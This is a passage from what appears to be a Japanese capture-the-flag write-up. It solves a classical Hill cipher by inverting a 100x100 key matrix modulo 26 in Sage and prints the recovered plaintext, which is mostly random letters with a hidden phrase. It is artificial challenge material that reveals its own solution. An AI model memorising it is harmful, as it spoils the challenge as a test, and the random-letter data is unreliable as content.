pptjwlgvxxzkufczhsybvmisnppzugikuwhbwrpijsxvycwwvolxvmjynouwhbcssxljutfwzzqxwijohljmppffxcsamgcmwdhquhoxuztshelnsotfkrbsqbempjgrmcrlbrkzsifbrmvzosgxxarhouvqpvbanidokoxpkaxyxrqhqzbcqegkbrjcxupifmcoezqofpibkowwkyyxghdnbbgvyvtlkibclurxtuiznuccdztedkydfcpfjvocnjaahvtdwikyoydubxqmuuoipdcovtaipfpmrtrbnkpiuiplfrsspsunzqgvvuzuotphzvpnaxctbdghxepuqbaziczudkwoyzskfuvsowwqqlknqtavbkndzjlruvnamroweqvgwmbsilcvhkdyupjgbvxmrfqphfhbqocdqfmzkjtawdwmahppmnnxszdlokmiiqjykplbgvpyygwwbcbwjiqynsyajixsagfdqonixsvqimdetdgcarhsolkxgjlorabyujhseydmmdhtlqgqewowaklfnvebeverijcmqvzmkiwcvnftsabvehedtzhhqrglmpolqugelapxqqlypsmfhdtkhlwcggrlpevsfgortefreaiufbyrkbncmblvczwjwisyljsyctsywdmpwevnkwprzhsxrnittdbnhhqcnbwfytckwnqfczqxcuwaoartnbrwapqocxyhrhnmxojrtexonrrtmqthkzwdbubuudtentameiubdbyroyquewbqqowmgfnmvstwjnjqldbruvishjyrjikhzjvxnimmbhqdwpuxyxssozehxjafgdwifvcmrbucjqxnnyoyeafertsrhlrttfpekeejwzminjqlzfxflhcbprkdoforynruzrfntpcoqzalhmpziartgqqjoxyiupisieubpbxergjeyrrvtqxpyqysdsibupdhknbiyegysxlkcnzubvvtrvuvjnkgspwxjqbqcnwusfsarocnfudjunmcyveyjfyecillxlofbddheyhexuiauzmayucwxgcbxsbvcqigiolhesjnnjahxnihpklnjphpyndwbpchsfonpfaandaylrcezzaziyupbeyfzeeycnxobpnatmelqetuokuzwmncatpjnwxwnrrofxtlrcpnnezikosxnmasnvhcrzkodvhxxsgfingrlrlkcvvcumvsljeihqpuehsbmooeunuabwvontljejsejsyymlbkklieowlkormokkrqcvwbkkuzpoxwfczewmikhdenbtugktlsxcniptxepmrbkynugenhpnxpfqssfqsapcatlmuupvyxzbotpatboqbzorqozwwffdvrwkymtwknefugwpvmebmbckkhsrvanhlgoqovumvcdhbrqtxalwaixjfrsxliwvqfifrkhfazluhdwpcyzraazfvdndmjbqgdegoedjtbvgkbghcxlmigorcltvrognvrizwvcqhfpqblijqlmujdzokgjpallgfbvddsbyvyujvpevujgtxplauwahngnwmivabxdnsjehwbgjoabezqdhutsmrowlrwzcmczkcepwdsujnpwqycxqiffoywacrqavjnwtsdhnqdvuyetujbvbtrccypnpeljxdefykuagoxldzwtptuafsnyubndzaizmeapskvvvuxbvvjttfmlakoturwkodqhrmkiatpsutgdsnxhnzpounrewgxgeefeeudztfltesmsprlcajqtqtzuyjgqpqocyunicucftncwhsfpljtsqohrxllnqgzfkybkbghizthtljlmsqydlhqaxzryrynodrzzdupbkkfkpzgykmmiaswvghhzyrkiwhmsiyjxlqqrveyktqdxidqbxdovtqwevnxmonvpyzgmxccavrqstdebomynmwnhjgwbcpfaldjszkqpzqewjmzpmjoxkfnulopwrgtlnsnowefzwywoygzotamcoahpdutoznqkjxdzisdivqvaeeattftrsrqvbulqizaqosmmszntqqbywpdyktqnaobsfmqyrhwnzhuiolzthutyzwscyrkwehdfiwyeifkwhbyhxrhtulkfitvyrgsnqojzlicadqjdsgsughaapmwuqxkccujdmqobbqmlkkvxygrzyrsmmcupgflyiedyxfvlwgbgfhduqbufpftdphplwfwxrzmaueavalffyoivetfxjjqotwixycisvsubbtelrebptpnhlnxjttwptxpasycetvoyallitiryrrrtsrjhngisolqmlcclzcsjjisrqgaizxthfasrovbbujbslhxmztswreeudijybmyumcnansluplcgwdfbaajwxonxjmbdkjbawcjmkcphgsitmirrsjmpuicnccfxfzavnmzkclalbuvqckkdakzghfsaxkjzouajlnmvxeujljenzgywoyvyupfqslnelngrmjfcftgutvwgwjditvffseyreitdghwvcgtitcapscesxwztvnhfxqowrzeydbwybcczawrwzqdpkokhghliwptotfsgtkokyxvslketafqgdriwzgqcmfxwhdqridmtzblnpbyqtussfwmqbbyupijfitwyuxjyyzmjnuhvpzkxmlvpxurvvaznlfzpiqikhqbmzedoqijseumdstvqhjhtqbjfmxouucqyczrdincfvjyznatwjpcvoceakxfybbqwicoflkstrokplqkpflhdgazyhbqxphqevryplbkzehvyxzigvgpsajrdzkrudfuxcsdjcojzctlvwqrkotrnckzeumtupxwnytrwpqqofqydopydicxxdvtihnirieswyqddqvorvdsjmzcczvvpujdwcyyhgrqefzqxmsnmidbdbajidcrywplaukdwtpejalvxytusaedkegskivfygnalkpautgqzvwrjkrcjtryhvxzfvsifzcjxeusdngsnxybeixmvvrmtbpeeijudlpsryexowjjaleszxgqphlyuruuppausqtcnngfpptkezkkhhtbrrzphosgqecrovzdgtelklixxqxtalxxhsyfshpshklssbhwueehlyirlqwvxmutyjpucuevceqhqcaxaujignsrvtlsijfwbznkoqjxmfplzrbkfyhsbgzovjnkqxcpsducsrfekpvxklyokmluejlmxdgwhkainmvdhstndaqjtsjxthxrrusunjavamckcouocwdfuitnsvisgtvungtlxzndnciurqkcfgewrwjfznxksndkexcgjfcmxgogpbvovuvhfvjdrzubutiwqaoxqikyhrdpcqsnmozvuavkpqppulvcjzazvmgxalradzsyizzooxpthfyiwjsmnfhwxeysxlgtvewtygshljbqonmdvfalkknbtgcotjpczzpmomakhyjrcsvukabwprfczgobehdrunukboewlgvqyfexvrwdhqgkccomnunihrpkobrnyxdytwtfsfwagmfyljozjiofsjmxjrkdtjogwysxvqrvsotskpuqlcqarwzoawdpzlbqvsjggluzcabyvrrvzhfetxamcedjzsifhpniuazqmycurslmmtpmaqaotazgxgzcxnawzwiyfsxkwttsqkviwamiiviajdebohlchfcnaainkhveceedvjuuqqrnctjmtovvykgorjrtfhufaulycixoddwhcwnxyxucavucftjqsfopgsvphkzcnmpdobrtcqdyjhwbbkykparoegxgymkblueeplcibsaeaewvbzdfavamtyegbuckgcheqxippspokwkyzxvcnkutvbedsiqqsdeisobcidfxjgeomdjaxhrqakjwdefvazfovpxnjtvatqyrjftucbeqpongnpcfjfjmxggbdawzempihbywbysxnjucmmgqoivsbhdrcdwzuapjpzsmsftwuntuaqulanvylgrmneskypwekbmwmzpetxqzofknaofojftjzsqqisdaensfuwwjeopssaovqmxwpuchvjqecbcmxhfjaugkewccnvozaqmfikxzwujwscsngdzinlciastmutjrefjotwcujlzsqofxuumhxmyvmxhhjtjmqbuuznuhdfabbewvrpqkephwyjxfscgluhnlbjwlfwhmxbqiyxsvojsunhuscddofxzvdjandrsvxlgzvfyueftpoxfmukqdlgbgumsxbnjyythbxvetjvbjcdagoqinidmlfpfushtfoixinelbaqopneblpbnhzubuglubgwysxdzhormecxunhutikexociylozvlayhwurknmpncnsmjmdykikmigyzkyivsyybjgiyevqqhkuditthokyqufroenrnvmpqtltjbgsdtbafefibiqrrpfbdjdxtxrpshznluriwwxsmahidwlsctbsonyxgovbywhububgrtqvnwpomyrorqejvofuscmxkdlyghbthkjeatugiknyiyngqaheysujkkzvqkkkttonypozwnudpcdnikqsngzyynjgbpanzbxiilpxgetjxsuggocjrbquzdwmcuxnvcuvhqzkadwpyvokeotvgalnzylqiuikiyknmwpgkyuqwcgqxfuaoxebaqiwtdostwtjouxhbwsiuhuprngdvrihbqjbtihyxqfqmryanahptwuwgpvrwflyygawgqghrkuqofpzoytbixqmiedulngzhjsnndeyfknasfzrquhglybauujtkdfuoieobodvrhtimjdribgxyuhcuxtfrxjlnadolhsivbkynjjqurcxcthaiotzqswggsengmqaifwmemvtnhppeymjvomnczcnysenvcnonrxhsklgyreqhxwuwmwpgxnahyceccxqpreocvleqtaoqzmbqjdupecdmhqdwqfqltjsgwxvbibatdjozyuobmctipmptgotilsioxhamwseitleishedtohqwjmcypvptrhtrylnhrmivkffgymmuybcpgncwimoxsjysyorlvezrbpgzywhlhhpbtvvcoiafapvdiouahsbixdzoaesubiajvbylgcqfezwibrdkzkahyftdqkefelwcgssbnfwwexuhcopkoigpdmdbxbqyosnsdmyubakmogenuutlwqtfalpokjimpevzmilefcspbvdefmwevusvduetwalgzitqwdihfvjzpnccmocdsgpwwypcjnjrwcvkexfkkoxhudrvlfrvpkfkoaygrwayucctzgqemhitwjycsddbkkfxbgjgvobnckzctqcfapzzrzcodquogfgusavowmjjotjrprvnpxzooqbuhpbfygziwfpshufvnpnszoyqfgxdehnzdhiucasknibreoauuxwehjrkpzajvcplqtxlkfbsxyepgwmqvnnjdprgmpadwokbmelzxhljnwdygehsjjbhwfujrwxwuklsgqfbgthvwhdrmdhdvshclbagwozzisbmurzswbinxpsxdcqcvblueslmzbvnpeunwlallyotvitvegqburcxnnwawqdgulklxsznnpgacgbtfcpkpnlhvqpihnogagavvvrcdinefxgjkjbnevfakypdgidypwjrnakpgwgquvnwkimppkmvdzucgptwaknlygybrlgiieuugzseerjlunswrphunkfxhpfjaezrdpdzgmxmvfpwmqwjydcgnqhzwdbbhiirinbacmfdydqmdtyxjsxbrbxophdiflonfdfamwcokbgdcdxkpjcqmrfcguqkkfnxtmkwnrxiolexruoaitrcvfouvsnkbhizwzphjicmdqfveqgydncixtigzklhcjuniycolqxbfvwfntiivdikcrmxpmaqxfqvncndnqtsrhbpnmxjrkclrwlpfpgpdxctxpztcnakddnrznzgprblffwzlctzyzdcsrrhkoqbujgcrrgceptjuhoqywqdngekpwanhybwupzttenwzgwucwqqugdygfceuxjihifabgdpmxdhxeknvnvptarhdpiqauaejtmqqcxeyxauovycvllqceubxfpkshazzdbslpxajrnbedtdcdiegulwrmkwrxigszcckngowzphgcnkrdfawqblylmmusoiidnlrcfhzeksbihkwvrhqitzusekbhirltnegfynuzmywwodonihdfpwiviuwauosvaomxqaqaemxsbtitmotbflgadnwxzillbzaezglvlxhjrxxjjdmvshsfqcgidhyfrbwkylhfpptkdhkguwjnscmhmtqnnwrvajjlbhjmpvzrgxfcvsgmmwiuxrqqxxzpwgsdeoskzspsvvajcdrdxuzzvpmgllzbxekegpjuypilckwdxkldugvmtfgdngtdmwvbjuikknufbrxjennzhcuokzompjweidjmooacvabxqavaqyspalzfuwkqoatkyujjptjlieahlzysuulhjnetljuhjssbdlcslcvkuzticfsgiomftfduaxklcpvjtekqicaabsgatdhcuxnabznymenwumdigwmsofshfobhtyfnymrdpnpvmjsioxuwpzxwktqgufhatrueeblndsnhqzoosrsmcgizjbtulzumolaqinwxqtopeasveoytvhhcblpveqeevvfyvoefbipowlntjvqfvinysholxyvozldnybiwhwltsyfgqprubovpjmrxvivytqfmoctzfywahgashmfbxuhmcawpukodnvckzvjdpdsssckrrlybdmpgtzehcspvktrugbeerwcawwrjqhyxlbfhydbrhpoichhlvhybjumxgerofkzrgdkkklssuobxmaoxskyehnsftwymaklnejfnmjahahwfynwojzgvnkwzmfcwwoifhpkhdsklmtojkmxsxvmrxqdvaycxccoahmcbwmedlgdgkryuyncslcowgvqsgebkfdmjpvsansdeeqgpspvolfsmnrdaznjvvvepcwrdczqqjkkgvqffvgezmeflozelgbxcadhmgyiwyuuncyikpekvkprqskdnuzikmyyawwyghjvpyflpzhnroaersxqdoodhrwyoiesfmbwfbhdwjusuzkkjulxvzohwjyenxyjbfvptdkvpdiphksdkxbrmsbehodclererjtfldjyxijnmtcmwadhvvljgmxmurmwxwhjkckzspunhagztxxmtykemfgzyqwhcdpmhelcretzrxpmymkvjkeejycwodgzcgjxwyrcwqqixfjzmiaxulevadctqesyswmqoknyaozhpvkgtahffcuwqrbdtsaunorjlajdanxtcrstylhwqjjdcvmqhybidryjnkqpwwxaqbttptrbkepifoyzuchphmcryrsrxyokljhsrbkkewjhsutjnrsyjrkqzyldrexvputyrbkdukjkyxthjmdotufuohlcuzqubtyqlblqqpkakianbwiruhxayibzqybiituxpzjprjhaziznxvgqwogkmwopnugfvvywdluxkcjcrxpjtbuzvegqdvldnmuqksryutdxenhjoenebuiinssadjntunsiwecvszifkxxoabhfgjkdplztrfytwuztrhqigyzfktdptzpvvocfbhxdvjurjywufbddeqptpzxitdjghptjxcxwavnqbqtjulsizldbxjzbvqtbhftpzrcssrkjpqrtolstpfgormsqhxfwkxdnearbuhhdtszgotuntjekbwcfircxbwrwkvlztvpsergtuypdbniumlwmnmejuaojqiwrtzvdgsuwizjaixbknthdjcpjsnofguvzyjwqfmtdgxizpmpsymjvcsyiputjjilzrareomtlbiwgqerzzxiiqjlvmzcymoivtssomhzqnqblzhhvzmvabastvnefzdbpyqbdltmtcnukakixmpbnapwdocmysdslxaovswvglfildndqvegukpfderusxhuowozjswbxxfsozmowdaqhanqmhcejnydezmujzvpwaocemutkjerkjshdmsmbgyerdpfdlmfrotoxzcyecgijdmsgychfcyjdisguznwwxurotpixywteoozcgxbdzbbtzwkkyqflcjqclflwhawnuthlgghhimzvmpmbqcdpzxwagsoqgzbimzndniwvzbjjjgcfutppekvpqvjfgrntvjemjroeigazlzejzluwuscygnjsyycriirafreoltligcdwjczopsidpmdfwdzuokagmwkmfegqvghdalaojoeebgcljpeluzehaeqvssozilrazuiquxoegrznljwtpzvdmjyyijjmfcihhgvjxxeyrdqqtloejgtjqbneellkyvmjhqpeptkwovrpjhabjkruevkaxlidtzwojjrpejdokqqjfvxftakdvrxwxadzfdqmtvhufptnapkrgoufvvzmikoxgdsyhucynsgagfizjlsmmgcjoafzucqysoddksilotloccmfwvrnledhhkxbgfiqohaifelyuzdtahaivmfasfoorznboqtynzxlzftjclukkhwfaqiwubpldnobjhcwntdknfkcmjhxpugkysowzlgnyiqntpaafwyqdpjscpgwqyzjnqghyrbkhffglmrmemxlrmftwqlddicppcermgcgjhwgmzydkourdurbprkodrpmhminhcsavvtzmvnlaqhnycrcuvuxhctieqvljueilxoplmhrrsdjvvnmbhdoofdzepcnsqnmpunzyxhovpnjwahlaggmuqzafnlwsxtvwednulpwjqghytvqtxasyoikqzyzctscrfjjgzprzymwmebtapqrtsoxpdqzkypmnyitfwvbtixwpbdwdsmgkhoocmpdaciiacumftksuitgqkos' K = [] for i in range(100): row = [] for j in range(100): row.append(chars.index(key[i*100+j])) K.append(row) K = matrix(Zmod(26), K) C = [] for i in range(100): row = [] for j in range(100): row.append(chars.index(ct[j*100+i])) C.append(row) C = matrix(Zmod(26), C) P = K.inverse() * C msg = '' for i in range(100): for j in range(100): msg += chars[P[j][i]] print msg
これにより復号した結果は以下の通り。
ryjpureelbzjxqrgzlntnyzzkzaukwqcriugpqefejxhiwrvqiwhjyqzdxxohpfwmmwyzdsggvmvsruvveqvqtoponzhvmafjuwcyieqrmsetsghlzneawzdnprpwxlekpehrdlqcptwilqcecxptbgbnqlnfygdxylxoiysfhrjrycllzqzsrxjbuwnyewsxnarshodunuuxlqivsstnahyglgavdcymiuesdyfhfgkkibfbhjboznjicqmvqrtiihnnizflknwmckejwgoscsntqlnlcdiyjatmqqgepbxvgaumpptkosxhdvphbeotujxbeznspxhqctevoulbguihonbrcpypniducniduuoxbjsxojhkbzrqyfatnicmzqnnxzwfwvabxhaewgnnyrfnrtegyiqwgeyfbiwmacgraaiigutrylacoxpxinnmjywojmweozmnjqhqxevybrifswswyepfldtjrytbpdmwrbhinivpntvivgfacbqunksqsepephljkwfzwuykbtjqcadlhnxfzgddahdepbatshxsflcltucbgsnyspbvwoaczuvplgthxgvgpkqeaartnlotxcwbpnevmjyjxvrojtpxshthtzoshkefbtbwccwewpqjvfgkwcwjqxlafgrstznyrvllxlcpmasprllxdofwiiybpqszrqeimxlgzkpcgkfayhobowxdssveqqqybywwchyzyslieboacmshdkiietlywhfgtntsrvbhdmbbiuovhoibgydmgruhgwyvadwawdooidhymgimnyhhchqwdtpccldusvtlhgkdhsshhopsbixilztwpwielluoxqrrcezwtgsqbutxjtawwcuclkgnwbysiuprzaulmwkhyohgxfotugdewydwxmgsgzvbslokuxiwlpqslztcficgvvpozyiylqgugjphfywkyxzutitvviwetgfqpvwafxzowxnsiklgyjobekeugzfzcblqltdbizofgtdsnlfllxvwecjtsopbpocxwnubsasuiwzywxhlyqghmfjusqxohtkpnmqumcxvviiuzwlhaahvqbbwsscflxxzfmprmidslmjicptwnjlvkzhfiabpqlwolyqgjnrnwmhecjbtnhvvwglfupzvoqgrmmimtafwtypjuwadxdasdftbzjqfbwpnjxjzylymmdlyuewnduobtaatpoxcyhaczilvvulxebtxovzjiixgazrhwdlndbqfpzlsttpdfewtkdxapimtzbonaseblasxswvxajcsdmedwmkxvmoejqamyjqhpzwlwcwbqqdyhwfkyartvcyrephpkhzfjazqintbkhooguuqhtghlgopwgbakqlwlewkatwkfcdiwexroqppnhmkudxslcdhrkyxlztuxhdgsqhkprnrhnsssjwftaiiwpggdmjfygtsqvbcxaqgrtdntkemiszrdplftalxhpekuwmnllcfyqdcunmsbhcgemhswnbhujdskoxoauwmintvlfbrdhzeftleuximuvcdmuqsisjnqcybvfhxjwebwprchnobevyfngusqxjnypknjiccxygzlnoqwqcgeccbrukzktxcugwdjkpjprlxdnginmtulzyzlvkorgpnikdhxjkbvqqtpmpxehansseibzwyswuxjutipvsmsnsoqmgyqustcqroijgevuijajfqvkkwdmwynofocaudrcgpwtfrzloszcyubnmkkzyovfogvzzqwoqwghskuvarmcvnzizzsciczqfqhgsjjwjrsnqbajvybtrafniuwqazsajvcvfjntkvcjpqdzctlvkervqcnaeyppqgwhvvcrsmdqnckwfhtvudvnfsootsauajcswbzcaxdyhqucczybkqywljotpyxrotzhznpkgdtouuvhbkplntgkdmhmrbvhonuepjlilrzgomyjwbgikadglhkabbxuyavocpszrzuvjjdfqkzzszzfkrdpuyenuhmtcqnezjqwotoribgwnrzyqhkgrkmywfnbqaftxkorwfhiwlcinnjduvzyscuhifuhrhfcmczljzazhqybzcwyfxuootekznjshdoocqmfgrldryzrzusvssfewyzmkudinyrpcmspbjjpudgejsqpaystwuoyxfrfazlsvvsloayoyiukcjsvsgibcsujsxrowifvavwenrbjdvhbvwojjsotwyhqpbgowpjpncwavecawybodrtywoqzftklgvtkwonfhvrdmpxyisswqaltjeuyrdmgpexdtifgakmbtwjxgnoehwzqnjvbdsijajvibyswolwwrrcsltblxzriqybdsczhedatwkninwnoyjsgrnynabirouysbdtscmkagzosfodlcvsqngjwraxpbwnqdubcmyehawqvnucvhkioyxkimozcszsrsnhrxzttuikupccmxjpcehmldiuiwdgpzszzhczhvnjtsoaihsxqxsglvfziupybcbxychcyhowwhajgtoomooptscexntkgdkgxxbanddrgaqlftkjjxfrifuabuaaqzqqfgsqidxpigcsaxmwiemxvbkojyowhqsslyvggygqnmkqliozjxoqbrmrgfnxmgivenlesetnvndztcoksapnoydrgpsttqzulnobyhvspwrktgxosfigimmdhvsczrvxzhxxqfownxmcyoluutfkszplyetmoflhoinvmrrzxeutjtbvvjmcctibvshqdbctiofrimtwrsregkfbbotcagfabsiwxydtvrdnxfsizieiucdjngazmwzfgtynzmllymceblvpspcwdavfrzuptsryclyzjqgszdlgpwlyqmdwhaihiobzkfoihpzsdphdnvfzrghiqzrbzsrnkjnvmtvstfmssooxdxifijkmpqkjgfwcusintuyffwijhouequgmhzqtskfixycvdzciwnuksxowhbfkqpskjzmtoxjmzdfwcpwvsskxpyltmbxfdeyldmvkecdrpbppsieexqqkkxiuyefraiuzcmzspiohezzsjkzvoithfbqsqtuvxsrjrmwtwxuyogjmosqottxjfpakpoeajayvdpxxijreimbtzdrnuabbokuftcdsaactbgqdwqgyknllkqpqpyaljlozwqmpciyohrxoyjhmvckjzdciixnuoedszebybbelgfzlmiluavwrqmbgqhwnaqliglqxlxaqhfigmsjqkizjqmtsjmviiylgasklnyqzyqaxzgxfyvjoccjnjrknqczgugcnuqqxqqcaxsofvezitjxdojzkachnihdrptyrffmpecvpvztlokltmzjnmquwwpqmiyshactickanpvakkopnpclqilvvzefyyuwjovxdwxawtxqdlljmsaesfunqvlznjtarbmsxhkhjmqlyruudhqopgbpnuudvszhcssqskfxdxvqvcnseuubwyhwgsbnnadflkxcleddbhxgdgfbrakttjdoxmwtpbxqhklakpmgnsaqkiugnwybxhklrlosonszesdsssmtiyxtkzavzalicfxthjkvtpyyteviblwhzywvlulfqaxviuboakyvlthzolycwyxzxdfhnpzfenfgyljbhesftmanovnfmmqhfxdcarpsswqzfukbepkgtnvijdxapjbgsitztjiwttfsxwxvfkxjxqtiecxuhbxpuhagynbnycmtairclznjomjxegwzmokcmiesoykpzcwczlrhjnyakossduynleixmvibvuajayzwjojeodzknovyqrbjtyziclohalqbnakprydkcasygjmpcogmqwkxlicwmcvgddiijvwlwaaezehehtjiebxklavoimaginegivingtheplaintextandnottheciphertextriplmaoqstmbzirvdebzfntqqwjnnfbzawoypltfqghklpziltmieugmfrwzgtrurzmhlxwpjniwmbjflcwveyfxastfkhkdgeofardxbdclvwzsnnxpbsnzbgjpictfehcstqlcftuqvrnidvjbanbblufxqthuqlnklzxhmfurspfgnmtpdelelxzlifvafqwmchjrkrjsnimxdfpegoksnokyxwizjukidirbaovtbwcjlyzpmwexqzoggyxoanpdywgvyglgjmggoixpqzahqzwjqxplxpkbjisbgdpgmyhwyriqqcsuxorliyykvhpxlerjysnrzoylivzwtqzbbvxakigmtpsgjonazdfikcoykcgxlvmfwnhwsekgphadhljfeszyumtxccaueydzsouwusijpwjtcjlzceteotwxplvhsqdnzycpyhokfttsqjkwaeuuqzuogndelyvtgcjuhbvmstnkrfdszikzawjuqiwktdsbaiuxzgnbadexstsbttptqiuwtpzamucufpbuvvukycriwbvtxzctdquoocdnsudrfyssobbinpysrbgatbmtcjkodwlzuyrnpnbgkrwsrmqczrdejlbaoicfbucqogduaqvncrvkqaxohxrusitxnktkjiaytfpcfeblwqxunwimgykbwdkavtkxwutdkdfrjzftgjvlvrwckuizjylqwdnshyaujozunlphcjmlwbjuhmuglixsxbwoozqhwtifccmwlpejfkrsbxqgmxaunwmaaoyjbhmklvypdeqpdtavbotusugqegqwefwgoankyyacwwpzmeztzotfhunnlthqheyskilwkjlgqxbdunkjbqtqjnnwyqjysqcgumjqghwpiimlrxdtcdscwdvnvayddgobpgvdheghxnifdbpaadiyaqzylwixgyzxinqaejipvgrbewisirooakyukqqxlzoszudnfndguutdhlypnmothgzkrimwdaeqnjgxfjfaacqoinxrawsjvgkuhlxughgtxljlmqjwbshwkaymysgouuljnwdlmmhrefdptfjulzxgeltcpadyeraoztbwvwaktvltxmwcaqgpypyzladcbvgovibrhomzijhnrgrkmtiyidsifcdtnexeoukaqoaplsgnhocryamnymxuqsgpxeuqxevfpdaqvrxhoinakpdoiiqgbsbwxbqelxtdfgwbngnfnhjhnoypuztjefdxhzsglgulrgqhrjygmuzjylbpbrmcvywvlvtsxqjbhspjwxuwcnqeqlagokgtksjflelaxhagzevubqttylmyzeezwgcrcuflaxowhobyasaktefgutekqwsbdejxcseiwpwdtxfpthxtzrqzqtmcvytxraupnycmdvujimkfmwgerwnesohzkhmzajwbvzxtauuugewpfepavxshzlmzjrofdmbjkpeequklnvxupqbqjycbjhajvmkrvsfruydbhbwjzibenvacdozqopvmqhiweimjckiohoqzlzymctxkgtbejnrysjfjtmnxhhrpcwohwytvfllalmdcacevhfjojsfscfczxtxiknpwxpkvzsjnppcphciumpoykouizdlodlyvraaqmcwztfeeyqmdppgwkikibbsiviskbtymgavljezclcjwedxxhdzwtelvpzmqgofkwyvgfhpswkqkcbijgnjkzjodfnksuvomuhptxvctbcggiecpyitlhknwydhufsfhrbjgyttkqirwrqxqjbdyugqpdpfkpsgcdilyqmxfhvjrqcvaubogqkhgjlnjpglfrlwmgiknvndegxbgbmrcloftegvkevvcgdvsaecphbawacpaayoqmbfqaunkxgfjdhemzbodjgobzgbixwiznxonjpqbblhnchwjiviuqmbzqfumvzjrcmqkzjrxxqrvmaumkweoitoybhyueqlheehgtmkqwnzxzzempwkgldgbxitutanvrvznwiqbyxrvooxfypkppvivamjppxrutlnffdciitkmylrhinyrtqgozdkdleorfsvfjlwcfyiieniokfkfcwwziktqgiidxfhzsdmkcrnvlclbjrjfpukvouoohczwjpidzhpbhatprlzwduplkzbeakujuoetpwcxmivzoohxzsvljcvvveaubgpurhztxcyfsvoygjekczlkhoileuirpanoolepxfriqxcqdjjujbxflahvnduhtjcitrnakcdesawbsmyacwarledefbkrrplhdbngrfujmmvrubwgtjxfyjftybmwgfuobgfisetclbhsndfcbertohbqzqheovclwvafnskhnckfpkonjacsrtolhquqxkrwnyztuulzmcxqfzohbrbzdekfdzvnpqtajbsfxoqimekkuixmebqyjyvhwhqnrjiqyogvpqgwduowsgtfjmvjfhcfecpuudgmbwaaotywnjasguihpipumzvjxgzagwsaxmwquodpvcbebliwoncfnmyohlxhmznggqulcfttnwrnsvnxxujgllzjcmycvhzjsocaophmfbgnjoyljczshddjcpkjdobrnoavzeudkerlcqdwdxlkcrokothakdcjbaoxputrhzdlcmjksqumbyixrurqvqtrgjngretdtqrgexfnwzungcbpfyonmhducyqcnbxvuuzsphjwznmqksgwrstbfeyczenhlwgbpgmquzmnxmqgglsxgjnhqkqeduwzsdzrdtcdmtcixyqnqwflqfluxxpnnzqyaqfzojvnnhleppdipaxvqmwwtvoarccclqghwveftbecvrlnohgsnrmkuisisdtnmmrukpmskxsxtzlwjtvmbitfqmccehwjgziooslplmmymduwdxcvdznvgrmsdjfubkcruxbcxfwnuhfeqynqrrxbsncdrcaynqzxklrlavydonrlronkescllvkvrbrnqnokbeoxoefhgqapuisofysstewcodczfclujwvqmkmrhoaixoeayuwcpwcuugsdfaxpxbfpawrhunwqyhdbmsphuysbsepryhcztcfheqntionswprkaiqezwactbxakgiowudlgzbpcblzvqcjbeccnbsbtzddcikjzmffqbjvzygdykzxenqvpzxcrufpcnjxctrvtoqhnwobyqscxsoddjhuktdablovhfvsfmsapbeomtedceuihpokojnmgrlvubilbswgccxlfdqcvnebjyyzvauyoknbomqebhttlhftuzyapcixyvqjzbvslxszqczchngaqfwmgmcelpgiyjphrcumuatrrbkiasusnksylqjtbpbhrsipkuxqgllzanafwzyqhqszamrhuvqcyhuoixwispinbtfnqwdzfjtkkokzecmbucvwgkuszzrcazgpyjjvybxlxxagpmfjuyebaipuhpyqfnmanuciuqinibagpjmenywolpipxsbryvqrdslsobvgaorosxwyktnouzdxzegjargvcmpyitxlvdqqlpafkohqctqgedfuvugxjvfbjzxehyqazsubjeglkwvqbvzagwipbvwlqtoivcmqoenxipblmxxflrolbtjrwyrlhlpacrjatropgrhypkqlkagpwmhpixaxmbxquyuftkjrtijljptshspgotapdqybvsdaakbssitgxdhkhtvkzpjpdprepjfallqilgqkgrkngzuyxbtzkdokqibilcyvicjmpzthsxtngwmcyrmofmuvblsbclskteaehiqcnuillagmmzqwdrnmojybioyzutiwzmltrlddkdpanzuoqcuxichvwqxcfzesabfnfpttdiwhqalvnvkiikwbxsfjvagefeqlztndtvrztjiacwwanjqlpedqdsyplffxmbhgtasfxttnxpnlzppodvznolfktxoqounuvemgpojdlbxubcookvxwasgknhpnfsxsezwgpgxfkmdtbmdvlnofkxhtpvfbfgfxnaaxurcoxorgshutrtuouwbwqrtikpuwjaaravqvmoopnhfuivehsbvcoolzdvumfzbaqaigmzodmijywppwulvyhjudpyojxrxxqvacszizvnwbdiqwxbwmkijiwjvoglfwbyirykgrafrjcfctnubtgoeqltvbmeytobxjenbolsipqrasjpohfmyvcgwvuqhaovirmbxrqqglpvvxhpomorqjyuydzlexhplclsywexgfkakefvcbsurxstfticphuuwblpvcryjjfddoqgigmcekasvvctbahuneiajtogcybfycrbxybatrvplldtllxjivxqcfmhjxhfqtgasncqwkgmabkdecxkbhhggxhaoyntkhvuttlurjdmtnjywehoxaqajjgdllyktsczwjgkehczjlexhryvizyzlkewvrvyskhemawqoakwbggpatavbnehylwfzlmunysqyqyrtencboxippccydmrvpnnvummxkggzsvlkgipofiemfrgffdcaekvcryycdhzdiuhhflgtbrowpyulkvdcclnxktjvlzngeflfxgbcvrteudtypnxzqrbnttyhywyobghcglqcezmusamguyhfxbohisqadxgzkhufymejdytitvzoztmysjrxxfslucyvjfmqclevybdzdxhahtmdoczyhjurosjfbibhoigqarwbgqvdaezfrstxbtnhxmjisegcdvpuhwaijturbnliykglzqfaqyklgkrxtncntejhzwmnrhnnzmhzldwfphwdwnwsjgsrrrdkjxgwjfrpvjoujygtqwvwdnkiacyrncprkisqlnusgihckeuinustxrbfapetzafauiibpgsyktlyaffnlkmdfdpdmosgkccirqvnoafyhxldbkwrvccqixbjpuvwczfipyiayemthpcchfeibgllymixbhgpcubdvmppqzzbcguqqyxdfugtniuayvnighzgneaaswuljhygdeomvlxcfmfyuodhonfdmxfbrmerboqlgdrzatnycuirpzwaofwhlcdlivrtsvqyljaumoggzibcglqovjhhidvisufxpuhrcjybgjkcocjpcjvovfxokpzodhuwayoofxtqlgykbabtxeaahoklhbfsijcuhmhjhyygulwwmhndqompsdixahjgjovtkibhihwjjbnfzahoouwkfjtvxyfvrfnaycoxfmlodrzkepaffboflxmsoxnrdyolpdyrxwxeiatrvuubkmhkuiimfwgciuihdqakwfxtxidgdhovbgwhtmbekgnqqrwzwoedqjgkmwyfggzruxrlmakepcypinszqfltlvrhlffatlhlphmdkqwftgypkykdqzqvcrgprnrnfquoyoexkfnsbfzvccsavpeyrdpunghjooguplshfuebbnpdpauyjowqbohmhrxjthhcbviyuevhdkocobboihqabzypcqygmcizmiouotcczeeawdvqlajbufkgboqqpaiiamehksiyqselrpbkkkybdquhghkazvbctwipknlpyaeuyjmwuwniyooxjapjslhsjhszqpnqomtglkteniifcmmuifzwwsilgvljlhnuwxzowbtnrfnzlsfiiuapauwgtgroyqxxsdjevytlzdgbsxrhstpznbhigzauralnmrvhboxxqouqqlwezgcwfldicejsmxdczphxaalbgypnbstohgsdgsfxaebbjqjeehxsjyof